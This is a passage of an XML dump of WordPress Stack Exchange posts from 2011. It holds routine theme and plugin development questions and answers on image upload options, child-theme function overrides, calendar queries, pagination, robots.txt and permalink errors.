*&lt;em&gt;functions.php&lt;/strong&gt;):&lt;/em&gt;*&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $option_fields[] = $slider_image = THEME_PREFIX . &quot;slider_image&quot;;&#xA; $option_fields[] = $slider_image_enabled = THEME_PREFIX . &quot;slider_image_enabled&quot;;&#xA; $option_fields[] = $slider_text = THEME_PREFIX . &quot;slider_text&quot;;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA; &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/ajaxupload.3.5.js&quot; &amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA; $(function(){&#xA;  var btnUpload=$('#slider-upload');&#xA;  var status=$('#slider-upload-status');&#xA;  new AjaxUpload(btnUpload, {&#xA;   action: '&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/upload-file.php',&#xA;   name: 'uploadfile',&#xA;   onSubmit: function(file, ext){&#xA;     if (! (ext &amp;amp;&amp;amp; /^(jpg|png|jpeg|gif)$/.test(ext))){&#xA;                    // extension is not allowed&#xA;     status.text('Only JPG, PNG or GIF files are allowed');&#xA;     return false;&#xA;    }&#xA;    status.text('Uploading...');&#xA;   },&#xA;   onComplete: function(file, response){&#xA;    //On completion clear the status&#xA;    status.text('');&#xA;    //Add uploaded file to list&#xA;    if(response===&quot;success&quot;){&#xA;     $('&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;').appendTo('#files').html('&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/'+file+'&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;br /&amp;gt;'+file).addClass('success');&#xA;     $('#&amp;lt;?php echo $slider_image; ?&amp;gt;').val(file);&#xA;    } else{&#xA;     $('&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;').appendTo('#files').text(file).addClass('error');&#xA;    }&#xA;   }&#xA;  });&#xA;&#xA; });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;postbox&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Slider Customization Options&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;postbox-content&quot;&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;option-row&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Choose how you would like to display your slider.&amp;lt;/p&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!--end option-row--&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;option-row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;option-name&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Use Image For Slider&amp;lt;/label&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-name--&amp;gt;&#xA;      &amp;lt;div class=&quot;option-value&quot;&amp;gt;&#xA;       &amp;lt;input class=&quot;checkbox&quot; id=&quot;&amp;lt;?php echo $slider_image_enabled; ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $slider_image_enabled; ?&amp;gt;&quot; value=&quot;true&quot;&amp;lt;?php checked(TRUE, (bool) get_option($slider_image_enabled)); ?&amp;gt; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-value--&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!--end option-row--&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;option-row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;option-name&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Upload An Image&amp;lt;/label&amp;gt;&#xA;       &amp;lt;span id=&quot;slider-upload-status&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-name--&amp;gt;&#xA;      &amp;lt;div class=&quot;option-value&quot;&amp;gt;&#xA;       &amp;lt;input class=&quot;logo-name&quot; id=&quot;&amp;lt;?php echo $slider_image; ?&amp;gt;&quot; type=&quot;text&quot; name=&quot;&amp;lt;?php echo $slider_image; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo get_option($slider_image); ?&amp;gt;&quot; /&amp;gt;&#xA;       &amp;lt;input type=&quot;button&quot; class=&quot;background_pattern_button&quot; id=&quot;slider-upload&quot; value=&quot;Choose Image&quot; /&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-value--&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--end option-row--&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;option-row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;option-name&quot;&amp;gt;&#xA;       &amp;lt;label&amp;gt;Slider Text&amp;lt;/label&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-name--&amp;gt;&#xA;      &amp;lt;div class=&quot;option-value&quot;&amp;gt;&#xA;       &amp;lt;input class=&quot;input-box&quot; id=&quot;&amp;lt;?php echo $slider_text; ?&amp;gt;&quot; type=&quot;text&quot; name=&quot;&amp;lt;?php echo $slider_text; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo get_option($slider_text) ?&amp;gt;&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end option-value--&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!--end option-row--&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Save Changes&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end postbox--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;front-page.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;   &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/&amp;lt;?php echo get_option(THEME_PREFIX . 'slider_image'); ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-23T12:48:38.443" LastActivityDate="2011-04-27T11:05:28.357" Title="Creating a feature to upload multiples images in the Theme Options?" Tags="&lt;uploads&gt;" AnswerCount="1" />
  <row Id="7555" PostTypeId="1" CreationDate="2011-01-23T12:55:29.423" Score="0" ViewCount="67" Body="&lt;p&gt;HI,&#xA;I am using 2 different plugins in my website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one is called &lt;a href=&quot;http://wordpress.org/extend/plugins/image-widget/&quot; rel=&quot;nofollow&quot;&gt;Image Widget&lt;/a&gt; for uploading an image and the second one is &lt;a href=&quot;http://mondaybynoon.com/wordpress-attachments/&quot; rel=&quot;nofollow&quot;&gt;Attachments&lt;/a&gt;&#xA;for uploading many kinds of attachments to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem begins when I activate the attachments plugin. it destroys the Image Widget.&#xA;I can only upload an image but am not able to insert the image to the widget&#xA;The upload screen belongs to the attachments plugin not to the image one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can some one help me??&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-23T14:35:17.637" LastActivityDate="2011-01-23T14:35:17.637" Title="Problem in activating both Image Widget and Attachments one" Tags="&lt;plugins&gt;&lt;images&gt;&lt;uploads&gt;&lt;image&gt;" />
  <row Id="7556" PostTypeId="1" CreationDate="2011-01-23T13:27:58.890" Score="0" ViewCount="164" Body="&lt;p&gt;What i need is either an easy-to-use slideshow with features like uploading and rezising images to fit, and displaying the slideshow in the template. (i want to be able to add it manually in the template)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking for one, but not many of them allows the user to upload images. Or the plugin itself is too complicated and has a ton of useless controls for the slideshow which can't be turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if anyone knows a good simple slideshow, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it would be OK with an upload-plugin of some sort. Just a simple plugin that allows the user to upload and resize photos and save them in a folder. I can code the slideshow myself if needed. That would actually be the best way, but i can't seem to find that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you know what i'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-24T01:44:25.523" Title="Simple sildeshow/image-upload plugin?" Tags="&lt;plugins&gt;&lt;uploads&gt;&lt;image&gt;" AnswerCount="3" />
  <row Id="7557" PostTypeId="1" AcceptedAnswerId="7559" CreationDate="2011-01-23T13:28:02.620" Score="4" ViewCount="595" Body="&lt;p&gt;I've been reading around and trying to figure out how to do this, but for some reason I can't seem to override parent functions in my child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using TwentyTen as a parent - can anyone tell me why this function in my child theme isn't overriding the parent function please?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Override read more link&#xA;function osu_twentyten_continue_reading_link() {&#xA; return ' &amp;lt;a href=&quot;'. get_permalink() . '&quot;&amp;gt;' . __( 'Read on &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten-child' ) . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;function osu_twentyten_auto_excerpt_more( $more ) {&#xA; return ' &amp;amp;hellip;' . osu_twentyten_continue_reading_link();&#xA;}&#xA;remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );&#xA;add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought you had to remove the filter/action etc. before re-adding it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-08-30T20:10:16.693" Title="How to override parent functions in child themes?" Tags="&lt;functions&gt;&lt;overridable-functions&gt;&lt;child-theme&gt;&lt;parent-theme&gt;" AnswerCount="1" />
  <row Id="7559" PostTypeId="2" ParentId="7557" CreationDate="2011-01-23T13:34:42.910" Score="8" ViewCount="" Body="&lt;p&gt;You should run the code after theme setup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function osu_twentyten_continue_reading_link() {&#xA;    return ' &amp;lt;a href=&quot;'. get_permalink() . '&quot;&amp;gt;' . __( 'Read on &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten-child' ) . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&#xA;function osu_twentyten_auto_excerpt_more( $more ) {&#xA;    return ' &amp;amp;hellip;' . osu_twentyten_continue_reading_link();&#xA;}&#xA;&#xA;function my_child_theme_setup() {&#xA;    remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );&#xA;    add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'my_child_theme_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-23T13:34:42.910" CommentCount="4" />
  <row Id="7560" PostTypeId="2" ParentId="7542" CreationDate="2011-01-23T15:26:28.727" Score="0" ViewCount="" Body="&lt;p&gt;For the subdomains, if you have access to Apache you can enable the wildcards for the add-on domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not, and you only have cpanel, you're stuck. on most shared hosts, the wildcard record goes to the primary domain only.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-23T15:26:28.727" CommentCount="1" />
  <row Id="7561" PostTypeId="1" AcceptedAnswerId="7589" CreationDate="2011-01-23T16:21:10.737" Score="0" ViewCount="383" Body="&lt;p&gt;I'm trying to modify the default WP calendar (get_calendar()) so that it shows posts from a specific category and then use that as a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copied across the get_calendar() function from the core (from wp-includes) into my child theme's functions.php file. In order to make it an 'independent' calendar, I changed the name of the get_calendar() function to osu_get_calendar() and have successfully hardcoded the calendar into my template using osu_get_calendar();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to get my hands a bit dirtier and do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Restrict the posts shown in the calendar to a specific category (while maintaining the previous and next navigation so visitors can search through those posts by month)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Make it into a shortcode so my client can essentially embed a calendar with posts from a category they choose at the bottom of their posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck on 1) at the moment as it looks like I need to modify the SQL queries so that it pulls posts from a specific category. Looking at the code below from the get_calendar() function, how would I filter the posts pulled from the database so that they are from a specific category? There are other SQL queries in there, but hopefully someone can help me with this one for now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$previous = $wpdb-&amp;gt;get_row(&quot;SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year&#xA;        FROM $wpdb-&amp;gt;posts&#xA;        WHERE post_date &amp;lt; '$thisyear-$thismonth-01'&#xA;        AND post_type = 'post' AND post_status = 'publish'&#xA;            ORDER BY post_date DESC&#xA;            LIMIT 1&quot;);&#xA;    $next = $wpdb-&amp;gt;get_row(&quot;SELECT  DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year&#xA;        FROM $wpdb-&amp;gt;posts&#xA;        WHERE post_date &amp;gt;   '$thisyear-$thismonth-01'&#xA;        AND MONTH( post_date ) != MONTH( '$thisyear-$thismonth-01' )&#xA;        AND post_type = 'post' AND post_status = 'publish'&#xA;            ORDER   BY post_date ASC&#xA;            LIMIT 1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-01-24T13:09:35.930" Title="Overriding default calendar to show posts from a category" Tags="&lt;categories&gt;&lt;query&gt;&lt;sql&gt;&lt;filters&gt;&lt;calendar&gt;" AnswerCount="1" />
  <row Id="7562" PostTypeId="2" ParentId="4136" CreationDate="2011-01-23T16:23:49.733" Score="1" ViewCount="" Body="&lt;p&gt;This seems to be quite hard to achieve. &lt;code&gt;get_page_templates()&lt;/code&gt; function actively discards anything that is not located in parent and child root directories. It also doesn't store in global variable or allow to filter generated list of templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think page attributes meta box will need to be forked and completely replaced for this. And not sure it will be possible even then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree that this seems like something that makes sense, but WordPress code is very precise in that it wants named templates to only come from theme's directory.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-23T16:23:49.733" />
  <row Id="7563" PostTypeId="2" ParentId="7556" CreationDate="2011-01-23T16:41:24.090" Score="0" ViewCount="" Body="&lt;p&gt;Check the &lt;a href=&quot;http://codecanyon.net/item/ubillboard-premium-slider-for-wordpress/124783&quot; rel=&quot;nofollow&quot;&gt;uBillBoard slider&lt;/a&gt; out from CodeCanyon. It's a premium plugin ($20), but is extremely well done.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-23T16:41:24.090" CommentCount="4" />
  <row Id="7564" PostTypeId="1" CreationDate="2011-01-23T17:59:54.740" Score="0" ViewCount="239" Body="&lt;p&gt;I create a new theme and I the page / post is divided to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Slogan&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to add a slogan field in the admin panel, where the user adds or edits a post or page.&#xA;After I will use in update_option function.. just the part of adding this is the problem.&#xA;I think there is a function or filter which does it but I don't know which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2687" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-23T22:28:13.320" LastActivityDate="2011-08-16T22:25:37.907" Title="Add a custom field when adding / editing a page / post in admin panel" Tags="&lt;wp-admin&gt;&lt;metabox&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7565" PostTypeId="1" AcceptedAnswerId="18992" CreationDate="2011-01-23T18:11:08.023" Score="0" ViewCount="161" Body="&lt;p&gt;Twenty Ten gives the option to change the background image of the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the code involved in this feature? (uploading the picture and adding the picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to mimic this feature to archive the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload a custom logo and upload various images (maybe 10) into a slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;front-page.php&lt;/code&gt; would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Logo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=logo&amp;gt;&#xA;   &amp;lt;!-- add custom logo here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom images for slider:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=nivo-slider&amp;gt;&#xA;   &amp;lt;!--- add the uploaded images for the slider here --&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I realised that the theme uses this: add_custom_image_header(). Does Wordpress have a similar function to add other type of custom images (like logo, feature image, etc...) ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The simpler way I found was &lt;a href=&quot;http://articles.sitepoint.com/article/wordpress-options-panel&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but I think it has a bug. In order for the image to appear, I have to upload it twice).&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-23T18:27:53.703" LastActivityDate="2011-06-01T22:18:33.027" Title="Uploading and inserting an image using a custom option panel like in the Twenty Ten theme?" Tags="&lt;options&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="7566" PostTypeId="1" AcceptedAnswerId="7568" CreationDate="2011-01-23T18:46:38.510" Score="1" ViewCount="248" Body="&lt;p&gt;I have an archive.php page with the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Start your custom WP_query&#xA;$my_query = new WP_query();&#xA;&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$args = array('posts_per_page' ?&amp;gt; 1, 'paged' =&amp;gt; $paged, 'category_name' =&amp;gt; 'Casino Slots');&#xA;// Assign predefined $args to your query&#xA;$my_query-&amp;gt;query($args);&#xA;&#xA;// Run your normal loop&#xA;if ($my_query-&amp;gt;have_posts()) : while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;?&amp;gt; &#xA;Test &#xA;&amp;lt;?php endwhile;&#xA;else :&#xA;// do stuff for no results&#xA;endif;&#xA;&#xA;wp_pagenavi();&#xA;&#xA;// RESET THE QUERY&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it displays the posts fine, but the pagination never shows?&lt;/p&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2011-01-23T19:00:11.123" Title="Pagination on archive.php page" Tags="&lt;query-posts&gt;&lt;archive&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="7567" PostTypeId="1" CreationDate="2011-01-23T18:57:20.557" Score="0" ViewCount="499" Body="&lt;p&gt;I was looking for a decent robots.txt solution for my wordpress sites and after some searching I found Yoast's SEO plugin that provides a complete SEO solution including indexation.&#xA;I set it up it to &lt;strong&gt;not&lt;/strong&gt; index the following pages: search results, login and register pages, all admin pages, date-based archives and tag archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I looked at the source of those pages, I couldn't find any meta robots tag except in the login/register page.&#xA;Is there another way to tell search engines what to index except robots meta and robots.txt?&#xA;If not, where is the indication to these pages not being indexed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2011-08-23T18:33:52.430" Title="Setting up robots.txt with Yoast's Seo plugin" Tags="&lt;seo&gt;&lt;nofollow&gt;&lt;robots&gt;&lt;noindex&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7568" PostTypeId="2" ParentId="7566" CreationDate="2011-01-23T19:00:11.123" Score="3" ViewCount="" Body="&lt;p&gt;I think your issue is that wp_pagenavi() is doing pagination based off of the global $wp_query instance instead instance you created.  You should either switch to using query_posts() to replace the global query instead, or use WordPress' built in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;paginate_links&lt;/a&gt; to output the paging.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-01-23T19:00:11.123" CommentCount="1" />
  <row Id="7569" PostTypeId="2" ParentId="7567" CreationDate="2011-01-23T19:37:31.427" Score="0" ViewCount="" Body="&lt;p&gt;If you don’t have a physical robots.txt WP will create one on the fly. The plugin will probably place its instructions there.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-23T19:37:31.427" CommentCount="6" />
  <row Id="7570" PostTypeId="1" CreationDate="2011-01-23T20:21:57.970" Score="2" ViewCount="186" Body="&lt;p&gt;What I would like to do is mimic how Wordpress shows an administrator how many new updates there are for installed plugins (a tiny number displayed next to a link). The main difference is that I want to serve this info to a logged-in user on the front end (since they last visited):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;new messages they've received (Buddypress) &lt;/li&gt;&#xA;&lt;li&gt;new forum posts (Buddypress) &lt;/li&gt;&#xA;&lt;li&gt;new posts for &quot;favorited&quot; categories&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not sure where to find the code that provides plugin update notices but that would be a start...&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2011-01-23T21:14:20.857" LastActivityDate="2011-08-22T07:33:22.243" Title="How to notify users of blog updates a la Admin Plugin Update notifications?" Tags="&lt;plugins&gt;&lt;buddypress&gt;&lt;updates&gt;&lt;notifications&gt;&lt;front-end&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="7571" PostTypeId="1" CreationDate="2011-01-23T20:30:58.200" Score="2" ViewCount="289" Body="&lt;p&gt;Is there a plugin for Wordpress that will change a post's category based on how long that post has existed?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen other Wordpress plugins that use a library called &quot;simple pie&quot; to manage a wp-blog's timed tasks, is there one that does something like this?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-24T01:09:21.713" LastActivityDate="2011-01-24T08:52:50.880" Title="Plugin for changing a post's category based on it's post date?" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;posts&gt;&lt;date-time&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="7572" PostTypeId="1" CreationDate="2011-01-23T21:11:34.540" Score="0" ViewCount="98" Body="&lt;p&gt;I have a problem when i change the permalink structure to anything except the standard setting. This is the error I´m getting: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 10 in C:\wamp\www\v4\wordpress\wp-includes\classes.php on line 210&#xA;&#xA;Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 10 in C:\wamp\www\v4\wordpress\wp-includes\classes.php on line 211&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the error in context over here: &lt;a href=&quot;http://hverdagskupp.no/v4/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://hverdagskupp.no/v4/wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone that knows what is going on? I appreciate any help!&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-01-24T00:17:44.633" Title="erro with custom permalink structure" Tags="&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="7573" PostTypeId="2" ParentId="2337" CreationDate="2011-01-23T21:56:22.987" Score="1" ViewCount="" Body="&lt;p&gt;I've had a similar problem, and it turned out all depended on how the function &lt;code&gt;wp_signon( $credentials, $secure_cookie )&lt;/code&gt; was called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want everything on my site to be https after signing on, so a non-secure cookie is of nu use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my code from before ssl was: wp_signon( $credentials, false )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_signon( $credentials, false )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_signon( $credentials, true )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which creates a secure cookie and now everything's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine that plugin developers try to rely on &lt;code&gt;FORCE_SSL_ADMIN&lt;/code&gt; to set the secure cookie, try using&#xA;&lt;code&gt;wp_signon( $credentials, false )&lt;/code&gt; in your case.&#xA;I hope it solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="2690" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T09:45:39.970" LastActivityDate="2011-08-17T09:45:39.970" CommentCount="1" />
  <row Id="7574" PostTypeId="2" ParentId="7570" CreationDate="2011-01-23T22:08:44.073" Score="1" ViewCount="" Body="&lt;p&gt;As far as display goes, the admin code does this in several ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Via the 'message' class for stuff&#xA;that shows once at the top of the&#xA;content area.&lt;/li&gt;&#xA;&lt;li&gt;On the left nav menu,&#xA;either on the Plugins tab or up&#xA;where it says Dashboard.&lt;/li&gt;&#xA;&lt;li&gt;And in the list of themes (or plugins).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Items 2 and 3 get their information via a handshake with the api.wordpress.org server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item 1's code can (mostly) be found in &lt;code&gt;wp-admin/users.php&lt;/code&gt;. I would go into more detail, but my wife just told me to 'Get the hell off the computer because we're going to the beach.' Bye!&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-01-23T22:08:44.073" CommentCount="1" />
  <row Id="7575" PostTypeId="2" ParentId="7238" CreationDate="2011-01-23T22:30:50.400" Score="2" ViewCount="" Body="&lt;p&gt;The plugin I think you're looking for is &lt;a href=&quot;http://wordpress.org/extend/plugins/upprev-nytimes-style-next-post-jquery-animated-fly-in-button/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/upprev-nytimes-style-next-post-jquery-animated-fly-in-button/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Just like the NYTimes button, upPrev&#xA;  allows WordPress site admins to&#xA;  provide the same functionality for&#xA;  their readers. When a reader scrolls&#xA;  to the bottom of a single post, a&#xA;  button animates in the page’s bottom&#xA;  right corner, allowing the reader to&#xA;  select the next available post in the&#xA;  single post’s category (the category&#xA;  is also clickable to access an archive&#xA;  page). If no next post exists, no&#xA;  button is displayed.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-01-23T22:30:50.400" CommentCount="1" />
  <row Id="7576" PostTypeId="2" ParentId="7524" CreationDate="2011-01-23T23:18:07.837" Score="1" ViewCount="" Body="&lt;p&gt;update your permalinks structure, make sure ur htaccess file is writable.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-01-23T23:18:07.837" CommentCount="1" />
